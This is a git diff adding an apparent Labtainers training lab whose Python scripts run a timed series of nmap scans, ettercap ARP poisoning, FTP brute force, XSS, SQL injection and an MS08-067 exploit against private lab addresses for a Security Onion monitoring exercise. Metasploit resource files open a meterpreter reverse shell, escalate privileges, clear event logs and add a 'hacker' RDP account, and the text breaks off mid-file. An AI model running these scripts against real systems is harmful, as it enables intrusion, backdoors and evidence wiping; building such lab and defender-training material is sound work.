attack_8 = attacks.ssh_login # 33-38 SSH LOGIN + attack_8.time = 0 + attack_8.kali = s.kali1 + attack_8.ip = '192.168.1.163' + + # Attack #9 + attack_9 = winxp.ms08_067 # 40-45 MS08_067 + attack_9.time = 5 + attack_9.kali = s.kali1 + attack_9.ip = '192.168.1.26' + + # Attack #10 + attack_10 = xss # 45-53 xss + attack_10.time = 8 + attack_10.kali = s.kali1 + attack_10.ip = '192.168.1.187' + + # Attack #11 + attack_11 = sql_injection # 53-61 sql injection + attack_11.time = 8 + attack_11.kali = s.kali1 + attack_11.ip = '192.168.1.141' + + + +# CALL AN ATTACK +def attack(func): + attacktime=func.time*s.counter + if (s.kali_id == func.kali): + system('echo "" >> timer.txt') # new line + printtime("Attack #"+str(attack_no[0])+" ("+str(func.time)+" minutes): "+func.desc) + ipset = 'sudo ifconfig eth0 '+func.ip + os.system(ipset) + printtime("--Changed IP to "+func.ip) + func(attacktime) # attack time + attack_no[0] += 1 + + else: + time_now = 0 + system('echo "" >> timer.txt') # new line + printexpect(str(attack_no[0]), str(time_now+func.time), attacktime) + + + +# SETUP: NETWORK DISCOVERY, SELF ID, ETC. +def setup(): + + initialize() + s.kali_id = 1 + + system('service ssh start') + system('sshpass -ptoor ssh -NfD 9050 root@localhost') + time.sleep(3) + + s.startmain=time.time() # Reset timer + +def end(): + ip_end_set = 'sudo ifconfig eth0 192.168.1.100' + os.system(ip_end_set) + +# KALI#1 TELLS SECURITY ONION TO START SA TIMER +def startsatimer(): + printtime(" Startsatimer started here") + if (s.kali_id == s.kali1): + printtime("This is the correct Kali") + try: + system('nc -v 192.168.1.13 8081') # Signal Security Onion + printtime("Told Security Onion to start the SA timer. (nc successful)") + except: + printtime("Failed to send nccommand to Security Onion") + else: + printtime("I am Kali #"+str(s.kali_id)+". Kali #1 is telling Security Onion to start the SA timer.") + + + +##### MAIN ##### +def main(): + + # Start traffic generation + subprocess.Popen(["python", "/root/Desktop/attacks/traffic.py"]) + + + # BUFFER + system('echo "" >> timer.txt') # new line + printtime("Providing 7 minute buffer during scenario/SO setup") + time.sleep(s.counter*7) + + system('echo "" >> timer.txt') # new line + printtime("Expecting 3 minutes generic SA questions") + time.sleep(s.counter*3) + + system('echo "" >> timer.txt') # new line + printtime("Expecting 1 minute TLX1() after buffer on security onion") + time.sleep(s.counter*1) + + # NMAP SCANS + attack(attack_1) # nmap_scans for 3 minutes + + attack(attack_2) # nmap_stealth for 3 minutes + + system('echo "" >> timer.txt') # new line + printtime("Expecting 3 minutes SA questions first()") + time.sleep(s.counter*3) + + # ARP POISONING + attack(attack_4) # arp_poisoning for 5 minutes + + system('echo "" >> timer.txt') # new line + printtime("Expecting 5 minutes SA questions second()") + time.sleep(s.counter*5) + + system('echo "" >> timer.txt') # new line + printtime("Providing 2 minute buffer") + time.sleep(s.counter*2) + + # FTP BRUTE (EASY) + attack(attack_7) # ftp_brute for 5 minutes + + system('echo "" >> timer.txt') # new line + printtime("Expecting 3.5 minutes SA questions third()") + time.sleep(s.counter*3.5) + + system('echo "" >> timer.txt') # new line + printtime("Expecting 1 minutes TLX2() after easy attack") + time.sleep(s.counter*1) + + system('echo "" >> timer.txt') # new line + printtime("Providing 2 minute buffer") + time.sleep(s.counter*2) + + # MSO8_067 (HARD) + attack(attack_9) # ms08_067 for 5 minutes + + system('echo "" >> timer.txt') # new line + printtime("Expecting 5 minutes SA questions fourth()") + time.sleep(s.counter*5) + + system('echo "" >> timer.txt') # new line + printtime("Expecting 1 minutes TLX3() after hard attack") + time.sleep(s.counter*1) + + system('echo "" >> timer.txt') # new line + printtime("Providing 2 minute buffer") + time.sleep(s.counter*2) + + # XSS + attack(attack_10) # xss for 8 minutes + + system('echo "" >> timer.txt') # new line + printtime("Expecting 4.5 minutes SA questions fifth()") + time.sleep(s.counter*4.5) + + system('echo "" >> timer.txt') # new line + printtime("Providing 2 minute buffer") + time.sleep(s.counter*2) + + # SQL + attack(attack_11) # sql for 8 minutes + + system('echo "" >> timer.txt') # new line + printtime("Expecting 5 minutes SA questions sixth()") + time.sleep(s.counter*5) + + system('echo "" >> timer.txt') # new line + printtime("All attacks and SA questions concluded") + printtime("Changed IP to 192.168.1.100") + + log("\n #### SCENARIO COMPLETE ####") + end() + + + +########## Start Program ########## +s.printbanner() + +log("\n #### PRE-ATTACK SETUP ####") +setup() + +log("\n #### ATTACK SETUP COMPLETE. TELL SECURITY ONION TO START SA TIMER ####") + + +log("\n #### START ATTACKS ####") +main() + +# END OF FILE diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/kali-test/kali-test/attacks/mitm.py b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/kali-test/kali-test/attacks/mitm.py new file mode 100755 index 000000000..9c8ef4dbf --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/kali-test/kali-test/attacks/mitm.py @@ -0,0 +1,27 @@ +from os import * +import sys +import time +import datetime +from datetime import timedelta + +# IMPORTS & ALIAS +import setup as s +printtime = s.printtime +funcprinttime = s.funcprinttime + + +#### ARP POISON +# This attack poisons the entire subnet +# To Specify targets, use: +# system('sudo ettercap arp:remote /192.168.1.2-10// /192.168.1.2-4//') +def arp_poison(n): + starttime=time.time() + endtime = time.time()+n + funcprinttime(" Start", starttime) + + command = "sudo ettercap -T -M arp:remote /// ///" + system(command+'& sleep '+str(n)+'; kill $!'); # kill this (most recent hidden process) at n seconds + + funcprinttime(" End",starttime) + +arp_poison.desc = "Man-in-the-middle arp poisoning attack" diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/kali-test/kali-test/attacks/ms08_067/gp.rc b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/kali-test/kali-test/attacks/ms08_067/gp.rc new file mode 100755 index 000000000..fd4e20bd9 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/kali-test/kali-test/attacks/ms08_067/gp.rc @@ -0,0 +1,22 @@ +use exploit/windows/smb/ms08_067_netapi + +set RHOST 192.168.1.12 +set LHOST 192.168.1.28 +set target 4 +set payload windows/meterpreter/reverse_tcp + +exploit -z + +sleep 30 +sessions -i 1 -s getsystem +sleep 30 +sessions -i 1 -s clearev +sleep 30 +sessions -i 1 -s <-u hacker -p password> getgui +sessions -i 1 -s <-e> getgui +sleep 30 +sessions -k 1 + +exit + + diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/kali-test/kali-test/attacks/ms08_067/gp.rc.copy b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/kali-test/kali-test/attacks/ms08_067/gp.rc.copy new file mode 100755 index 000000000..fd4e20bd9 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/kali-test/kali-test/attacks/ms08_067/gp.rc.copy @@ -0,0 +1,22 @@ +use exploit/windows/smb/ms08_067_netapi + +set RHOST 192.168.1.12 +set LHOST 192.168.1.28 +set target 4 +set payload windows/meterpreter/reverse_tcp + +exploit -z + +sleep 30 +sessions -i 1 -s getsystem +sleep 30 +sessions -i 1 -s clearev +sleep 30 +sessions -i 1 -s <-u hacker -p password> getgui +sessions -i 1 -s <-e> getgui +sleep 30 +sessions -k 1 + +exit + + diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/kali-test/kali-test/attacks/ms08_067/gp.temp b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/kali-test/kali-test/attacks/ms08_067/gp.temp new file mode 100755 index 000000000..57783e9ff --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/kali-test/kali-test/attacks/ms08_067/gp.temp @@ -0,0 +1,22 @@ +use exploit/windows/smb/ms08_067_netapi + +set RHOST 192.168.1.12 +set LHOST 192.168.1.26 +set target 4 +set payload windows/meterpreter/reverse_tcp + +exploit -z + +sleep 29 +sessions -i 1 -s getsystem +sleep 29 +sessions -i 1 -s clearev +sleep 29 +sessions -i 1 -s <-u hacker -p password> getgui +sessions -i 1 -s <-e> getgui +sleep 29 +sessions -k 1 + +exit + + diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/kali-test/kali-test/attacks/ms08_067/leave/gp.rc b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/kali-test/kali-test/attacks/ms08_067/leave/gp.rc new file mode 100755 index 000000000..fd4e20bd9 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/kali-test/kali-test/attacks/ms08_067/leave/gp.rc @@ -0,0 +1,22 @@ +use exploit/windows/smb/ms08_067_netapi + +set RHOST 192.168.1.12 +set LHOST 192.168.1.28 +set target 4 +set payload windows/meterpreter/reverse_tcp + +exploit -z + +sleep 30 +sessions -i 1 -s getsystem +sleep 30 +sessions -i 1 -s clearev +sleep 30 +sessions -i 1 -s <-u hacker -p password> getgui +sessions -i 1 -s <-e> getgui +sleep 30 +sessions -k 1 + +exit + + diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/kali-test/kali-test/attacks/ms08_067/leave/gp.rc.copy b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/kali-test/kali-test/attacks/ms08_067/leave/gp.rc.copy new file mode 100755 index 000000000..fd4e20bd9 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/kali-test/kali-test/attacks/ms08_067/leave/gp.rc.copy @@ -0,0 +1,22 @@ +use exploit/windows/smb/ms08_067_netapi + +set RHOST 192.168.1.12 +set LHOST 192.168.1.28 +set target 4 +set payload windows/meterpreter/reverse_tcp + +exploit -z + +sleep 30 +sessions -i 1 -s getsystem +sleep 30 +sessions -i 1 -s clearev +sleep 30 +sessions -i 1 -s <-u hacker -p password> getgui +sessions -i 1 -s <-e> getgui +sleep 30 +sessions -k 1 + +exit + + diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/kali-test/kali-test/attacks/ms08_067/leave/gp.temp b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/kali-test/kali-test/attacks/ms08_067/leave/gp.temp new file mode 100755 index 000000000..79e2e8fb1 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/kali-test/kali-test/attacks/ms08_067/leave/gp.temp @@ -0,0 +1,22 @@ +use exploit/windows/smb/ms08_067_netapi + +set RHOST 192.168.1.12 +set LHOST 192.168.1.150 +set target 4 +set payload windows/meterpreter/reverse_tcp + +exploit -z + +sleep 11 +sessions -i 1 -s getsystem +sleep 11 +sessions -i 1 -s clearev +sleep 11 +sessions -i 1 -s <-u hacker -p password> getgui +sessions -i 1 -s <-e> getgui +sleep 11 +sessions -k 1 + +exit + + diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/kali-test/kali-test/attacks/ms08_067/leave/gp.temp2 b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/kali-test/kali-test/attacks/ms08_067/leave/gp.temp2 new file mode 100755 index 000000000..040382b0c --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/kali-test/kali-test/attacks/ms08_067/leave/gp.temp2 @@ -0,0 +1,22 @@ +use exploit/windows/smb/ms08_067_netapi + +set RHOST 192.168.1.12 +set LHOST 192.168.1.131 +set target 4 +set payload windows/meterpreter/reverse_tcp + +exploit -z + +sleep 2 +sessions -i 1 -s getsystem +sleep 2 +sessions -i 1 -s clearev +sleep 2 +sessions -i 1 -s <-u hacker -p password> getgui +sessions -i 1 -s <-e> getgui +sleep 2 +sessions -k 1 + +exit + + diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/kali-test/kali-test/attacks/ms08_067/leave/gp_temp b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/kali-test/kali-test/attacks/ms08_067/leave/gp_temp new file mode 100755 index 000000000..3f48a1e2d --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/kali-test/kali-test/attacks/ms08_067/leave/gp_temp @@ -0,0 +1,22 @@ +use exploit/windows/smb/ms08_067_netapi + +set RHOST 192.168.1.12 +set LHOST 192.168.1.33 +set target 4 +set payload windows/meterpreter/reverse_tcp + +exploit -z + +sleep 30 +sessions -i 1 -s getsystem +sleep 30 +sessions -i 1 -s clearev +sleep 30 +sessions -i 1 -s <-u hacker -p password> getgui +sessions -i 1 -s <-e> getgui +sleep 30 +sessions -k 1 + +exit + + diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/kali-test/kali-test/attacks/netapi_scenario.py b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/kali-test/kali-test/attacks/netapi_scenario.py new file mode 100755 index 000000000..f092dc129 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/kali-test/kali-test/attacks/netapi_scenario.py @@ -0,0 +1,43 @@ +#!/usr/bin/python + +import os +import time +import sys +import datetime +from datetime import timedelta + +##### Attack #9: MS08_067 ##### +##### Total operational time: 5 minutes + +starttime=time.time() +counter=60 # 60 = 1 minute +atktime = time.time()+(counter*5) + +def printtime(atkdef): + elapsed = str(timedelta(seconds=(time.time()-starttime))).split('.',2)[0] + clocktime = str(time.strftime("%H:%M:%S")) + os.system('echo "'+atkdef+': '+elapsed+' ['+clocktime+']" >> timer.txt') + +printtime(" MS08_067 start") + +#execute MS08_067 exploit & post exploit shenanigans +#gp.rc contains 2 min. of total delays + +printtime(" - gp.rc start") +os.system("msfconsole -r /usr/share/metasploit-framework/scripts/gp.rc") + +printtime(" - gp.rc complete. 60 second delay") +#delay execution for 1 minutes +time.sleep(60) + +printtime(" - RDP") +#connect to remote desktop enabled by exploit +os.system("rdesktop -u hacker -p password 192.168.1.12") + +timeleft = atktime-time.time() +if timeleft>0: + printtime(" - sleep for time remaining") + time.sleep(timeleft) + +printtime(" MS08_067 finish") + diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/kali-test/kali-test/attacks/old_main.py b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/kali-test/kali-test/attacks/old_main.py new file mode 100755 index 000000000..324e1e8e6 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/kali-test/kali-test/attacks/old_main.py @@ -0,0 +1,279 @@ +from os import * +import os +import sys +import netifaces as ni +import time +from random import randint +import subprocess +import datetime +from datetime import timedelta + +# IMPORT MODULES +import setup as s +import scans # nmap scans and discovery +import mitm +import attacks # catch-all file for short attacks. +import winxp # contains ms08_067 +from xss import xss +from sql import sql_injection +#from traffic import simulate_traffic + + +# ALIASING +printtime = s.printtime +printexpect = s.printexpect +getip = s.getip +log = s.log + + + +# MAIN GLOBALS # +startip = 1 + +# Initialize the attacks +def initialize(): + + global attack_no + global attack_1 + global attack_2 + global attack_3 + global attack_4 + global attack_5 + global attack_6 + global attack_7 + global attack_8 + global attack_9 + global attack_10 + global attack_11 + + attack_no = [1] + attack_no[0] = 1 # counter for attack numbers + + # This is where we define the attacks for the scenario + + # Attack #1 + attack_1 = scans.nmap_os # nmap OS discovery scans + attack_1.time = 3 # length of attack in minutes + attack_1.kali = s.kali1 # kali machine responsible for the attack + attack_1.ip = '192.168.1.43' + + # Attack #2 + attack_2 = scans.nmap_stealth # nmap stealth scans + attack_2.time = 3 + attack_2.kali = s.kali1 + attack_2.ip = '192.168.1.154' + + # Attack #3 + attack_3 = scans.nmap_proxychains # nmap proxychains + attack_3.time = 0 + attack_3.kali = s.kali1 + attack_3.ip = '192.168.1.68' + + # Attack #4 + attack_4 = attacks.arp_poison # MITM: arp poisoning + attack_4.time = 5 + attack_4.kali = s.kali1 + attack_4.ip = '192.168.1.72' + + # Attack #5 + attack_5 = attacks.ftp_https # 16-21 ftp transfers behind proxies + attack_5.time = 0 + attack_5.kali = s.kali1 + attack_5.ip = '192.168.1.81' + + # Attack #6 + attack_6 = attacks.ssh_brute # 23-28 ssh distributed brute force + attack_6.time = 0 + attack_6.kali = s.kali1 + attack_6.ip = '192.168.1.99' + + # Attack #7 + attack_7 = attacks.ftp_brute # 28-33 ftp brute force + attack_7.time = 5 + attack_7.kali = s.kali1 + attack_7.ip = '192.168.1.127' + + # Attack #8 + attack_8 = attacks.ssh_login # 33-38 SSH LOGIN + attack_8.time = 0 + attack_8.kali = s.kali1 + attack_8.ip = '192.168.1.163' + + # Attack #9 + attack_9 = winxp.ms08_067 # 40-45 MS08_067 + attack_9.time = 5 + attack_9.kali = s.kali1 + attack_9.ip = '192.168.1.26' + + # Attack #10 + attack_10 = xss # 45-53 xss + attack_10.time = 8 + attack_10.kali = s.kali1 + attack_10.ip = '192.168.1.187' + + # Attack #11 + attack_11 = sql_injection # 53-61 sql injection + attack_11.time = 8 + attack_11.kali = s.kali1 + attack_11.ip = '192.168.1.141' + + + +# CALL AN ATTACK +def attack(func): + attacktime=func.time*s.counter + if (s.kali_id == func.kali): + system('echo "" >> timer.txt') # new line + printtime("Attack #"+str(attack_no[0])+" ("+str(func.time)+" minutes): "+func.desc) + ipset = 'sudo ifconfig eth0 '+func.ip + os.system(ipset) + printtime("--Changed IP to "+func.ip) + func(attacktime) # attack time + attack_no[0] += 1 + + else: + time_now = 0 + system('echo "" >> timer.txt') # new line + printexpect(str(attack_no[0]), str(time_now+func.time), attacktime) + + + +# SETUP: NETWORK DISCOVERY, SELF ID, ETC. +def setup(): + + initialize() + s.kali_id = 1 + + system('service ssh start') + system('sshpass -ptoor ssh -NfD 9050 root@localhost') + time.sleep(3) + + s.startmain=time.time() # Reset timer + +# KALI#1 TELLS SECURITY ONION TO START SA TIMER +def startsatimer(): + printtime(" Startsatimer started here") + if (s.kali_id == s.kali1): + printtime("This is the correct Kali") + try: + system('nc -v 192.168.1.13 8081') # Signal Security Onion + printtime("Told Security Onion to start the SA timer. (nc successful)") + except: + printtime("Failed to send nccommand to Security Onion") + else: + printtime("I am Kali #"+str(s.kali_id)+". Kali #1 is telling Security Onion to start the SA timer.") + +#End Scenario -- Changes IP to .100 +def end(): + printtime("Changing IP to 192.168.1.100 -- End of Scenario") + system('sudo ipconfig eth0 192.168.1.100') + + +##### MAIN ##### +def main(): + + # Start traffic generation + subprocess.Popen(["python", "/root/Desktop/attacks/traffic.py"]) #Subprocess, In order for the program to simultaneously run traffic and continue forward with the scenario. + + # BUFFER + system('echo "" >> timer.txt') # new line + printtime("Providing 7 minute buffer during scenario/SO setup") + time.sleep(s.counter*7) + + system('echo "" >> timer.txt') # new line + printtime("Expecting 3 minutes generic SA questions") + time.sleep(s.counter*3) + + system('echo "" >> timer.txt') # new line + printtime("Expecting 3 minute TLX1() after buffer on security onion") + time.sleep(s.counter*1) + + # NMAP SCANS + attack(attack_1) # nmap_scans for 3 minutes + + attack(attack_2) # nmap_stealth for 3 minutes + + system('echo "" >> timer.txt') # new line + printtime("Expecting 3 minutes SA questions first()") + time.sleep(s.counter*3) + + # ARP POISONING + attack(attack_4) # arp_poisoning for 5 minutes + + system('echo "" >> timer.txt') # new line + printtime("Expecting 5 minutes SA questions second()") + time.sleep(s.counter*5) + + system('echo "" >> timer.txt') # new line + printtime("Providing 2 minute buffer") + time.sleep(s.counter*2) + + # FTP BRUTE (EASY) + attack(attack_7) # ftp_brute for 5 minutes + + system('echo "" >> timer.txt') # new line + printtime("Expecting 3.5 minutes SA questions third()") + time.sleep(s.counter*3.5) + + system('echo "" >> timer.txt') # new line + printtime("Expecting 3 minutes TLX2() after easy attack") + time.sleep(s.counter*1) + + system('echo "" >> timer.txt') # new line + printtime("Providing 2 minute buffer") + time.sleep(s.counter*2) + + # MSO8_067 (HARD) + attack(attack_9) # ms08_067 for 5 minutes + + system('echo "" >> timer.txt') # new line + printtime("Expecting 5 minutes SA questions fourth()") + time.sleep(s.counter*5) + + system('echo "" >> timer.txt') # new line + printtime("Expecting 3 minutes TLX3() after hard attack") + time.sleep(s.counter*1) + + system('echo "" >> timer.txt') # new line + printtime("Providing 2 minute buffer") + time.sleep(s.counter*2) + + # XSS + attack(attack_10) # xss for 8 minutes + + system('echo "" >> timer.txt') # new line + printtime("Expecting 4.5 minutes SA questions fifth()") + time.sleep(s.counter*4.5) + + system('echo "" >> timer.txt') # new line + printtime("Providing 2 minute buffer") + time.sleep(s.counter*2) + + + # SQL + attack(attack_11) # sql for 8 minutes + + system('echo "" >> timer.txt') # new line + printtime("Expecting 5 minutes SA questions sixth()") + time.sleep(s.counter*5) + + system('echo "" >> timer.txt') # new line + printtime("All attacks and SA questions concluded") + + log("\n #### SCENARIO COMPLETE ####") + end() + + + +########## Start Program ########## +s.printbanner() + +log("\n #### PRE-ATTACK SETUP ####") +setup() + +log("\n #### ATTACK SETUP COMPLETE. TELL SECURITY ONION TO START SA TIMER ####") + +log("\n #### START ATTACKS ####") +main() + +# END OF FILE diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/kali-test/kali-test/attacks/passwd_lsts/README b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/kali-test/kali-test/attacks/passwd_lsts/README new file mode 100644 index 000000000..dc04b4c54 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/kali-test/kali-test/attacks/passwd_lsts/README @@ -0,0 +1,2 @@ +The rockme password list can be retrieved from http://my.nps.edu/cyberciege/downloads/rockme.txt.gz. +After fetching it, unzip it. diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/kali-test/kali-test/attacks/passwd_lsts/ftpcommands.txt b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/kali-test/kali-test/attacks/passwd_lsts/ftpcommands.txt new file mode 100755 index 000000000..946d9f7ef --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/kali-test/kali-test/attacks/passwd_lsts/ftpcommands.txt @@ -0,0 +1,7 @@ +open 192.168.1.2 +user msfadmin msfadmin +pass +mput dog.exe +bye + + diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/kali-test/kali-test/attacks/pcap-extra/Teredo.pcap b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/kali-test/kali-test/attacks/pcap-extra/Teredo.pcap new file mode 100755 index 000000000..ff2dd15c5 Binary files /dev/null and b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/kali-test/kali-test/attacks/pcap-extra/Teredo.pcap differ diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/kali-test/kali-test/attacks/pcap-extra/bmp.pcap b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/kali-test/kali-test/attacks/pcap-extra/bmp.pcap new file mode 100755 index 000000000..9ed9c7235 Binary files /dev/null and b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/kali-test/kali-test/attacks/pcap-extra/bmp.pcap differ diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/kali-test/kali-test/attacks/pcap-extra/dhcp.pcap b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/kali-test/kali-test/attacks/pcap-extra/dhcp.pcap new file mode 100755 index 000000000..a42d6102e Binary files /dev/null and b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/kali-test/kali-test/attacks/pcap-extra/dhcp.pcap differ diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/kali-test/kali-test/attacks/pcap-extra/stp.pcap b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/kali-test/kali-test/attacks/pcap-extra/stp.pcap new file mode 100755 index 000000000..4bc94476c Binary files /dev/null and b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/kali-test/kali-test/attacks/pcap-extra/stp.pcap differ diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/kali-test/kali-test/attacks/pcap/Teredo.pcap b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/kali-test/kali-test/attacks/pcap/Teredo.pcap new file mode 100755 index 000000000..ff2dd15c5 Binary files /dev/null and b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/kali-test/kali-test/attacks/pcap/Teredo.pcap differ diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/kali-test/kali-test/attacks/pcap/bigFlows.pcap b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/kali-test/kali-test/attacks/pcap/bigFlows.pcap new file mode 100755 index 000000000..d37d72088 Binary files /dev/null and b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/kali-test/kali-test/attacks/pcap/bigFlows.pcap differ diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/kali-test/kali-test/attacks/pcap/bmp.pcap b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/kali-test/kali-test/attacks/pcap/bmp.pcap new file mode 100755 index 000000000..9ed9c7235 Binary files /dev/null and b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/kali-test/kali-test/attacks/pcap/bmp.pcap differ diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/kali-test/kali-test/attacks/pcap/dhcp.pcap b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/kali-test/kali-test/attacks/pcap/dhcp.pcap new file mode 100755 index 000000000..a42d6102e Binary files /dev/null and b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/kali-test/kali-test/attacks/pcap/dhcp.pcap differ diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/kali-test/kali-test/attacks/pcap/smtp.pcap b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/kali-test/kali-test/attacks/pcap/smtp.pcap new file mode 100755 index 000000000..80c98e450 Binary files /dev/null and b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/kali-test/kali-test/attacks/pcap/smtp.pcap differ diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/kali-test/kali-test/attacks/pcap/stp.pcap b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/kali-test/kali-test/attacks/pcap/stp.pcap new file mode 100755 index 000000000..4bc94476c Binary files /dev/null and b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/kali-test/kali-test/attacks/pcap/stp.pcap differ diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/kali-test/kali-test/attacks/pcap/traffic_scenario.pcapng b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/kali-test/kali-test/attacks/pcap/traffic_scenario.pcapng new file mode 100755 index 000000000..c68abe37a Binary files /dev/null and b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/kali-test/kali-test/attacks/pcap/traffic_scenario.pcapng differ diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/kali-test/kali-test/attacks/pcap/xss capture (failed backdoor commands).pcapng b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/kali-test/kali-test/attacks/pcap/xss capture (failed backdoor commands).pcapng new file mode 100755 index 000000000..e4c9906f7 Binary files /dev/null and b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/kali-test/kali-test/attacks/pcap/xss capture (failed backdoor commands).pcapng differ diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/kali-test/kali-test/attacks/pyserver.py b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/kali-test/kali-test/attacks/pyserver.py new file mode 100755 index 000000000..06620e529 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/kali-test/kali-test/attacks/pyserver.py @@ -0,0 +1,40 @@ +# server.py +import socket +import time +from os import * + + +def callmain(): + system('echo "pyserver.py: calling main.py" >> timer.txt') + system('python /root/Desktop/attacks/main.py') + +system('sudo ifconfig eth0 192.168.1.1') # For testing only +system('echo "pyserver.py: started" > timer.txt') + +# create a socket object +serversocket = socket.socket(socket.AF_INET, socket.SOCK_STREAM) + +# get local machine name +#host = socket.gethostname() + +port = 8080 + +# bind to the port +serversocket.bind(('', port)) + +# queue up to 5 requests +serversocket.listen(5) + +while True: + # establish a connection + clientsocket,addr = serversocket.accept() + #print("Got a connection from %s" % str(addr)) + message = "Got a connection from %s" % str(addr) + system('echo "pyserver.py: '+message+' - ok to start attacks" >> timer.txt') + + callmain() + currentTime = time.ctime(time.time()) + "\r\n" + clientsocket.send(currentTime.encode('ascii')) + clientsocket.close() + + diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/kali-test/kali-test/attacks/scans.py b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/kali-test/kali-test/attacks/scans.py new file mode 100755 index 000000000..7b8720e0c --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/kali-test/kali-test/attacks/scans.py @@ -0,0 +1,83 @@ +from os import * +import sys +import time +import datetime +from datetime import timedelta + +# IMPORT & ALIAS +import setup as s +printtime = s.printtime +funcprinttime = s.funcprinttime + + +counter=60 # 60 = 1 minute + + + +#### NMAP OS DISCOVERY +def nmap_os(n): + starttime=time.time() + endtime = time.time()+n + funcprinttime(" Start", starttime) + + command = "nmap -O -A -sV -sT 192.168.1.1-12" #OS Detection, version detection + while endtime>time.time(): + + # execute command + endtimer = str(endtime-time.time()) + system('timeout --kill-after='+endtimer+'s '+endtimer+'s '+command); + funcprinttime(" - scan complete", starttime) + + # time remainder of attack + timeleft = endtime-time.time() + if timeleft>10: + time.sleep(10) + funcprinttime(" End",starttime) + +nmap_os.desc = "nmap OS discovery scans" + + +#### NMAP STEALTH +def nmap_stealth(n): + starttime=time.time() + endtime = time.time()+n + funcprinttime(" Start", starttime) + + command = "nmap -sS -p 21-23,25,139,3306,5432 192.168.1.2" + while endtime>time.time(): + + endtimer = str(endtime-time.time()) + system('timeout --kill-after='+endtimer+'s '+endtimer+'s '+command); + funcprinttime(" - scan complete", starttime) + + timeleft = endtime-time.time() + if timeleft>10: + time.sleep(10) + + funcprinttime(" End", starttime) + +nmap_stealth.desc = "nmap stealth scans" + + +#### NMAP PROXYCHAINS +def nmap_proxychains(n): + starttime=time.time() + endtime = time.time()+n + funcprinttime(" Start", starttime) + + command = "proxychains nmap -p 21,22 -sV --version-light 192.168.1.2" + while endtime>time.time(): + + endtimer = str(endtime-time.time()) + system('timeout 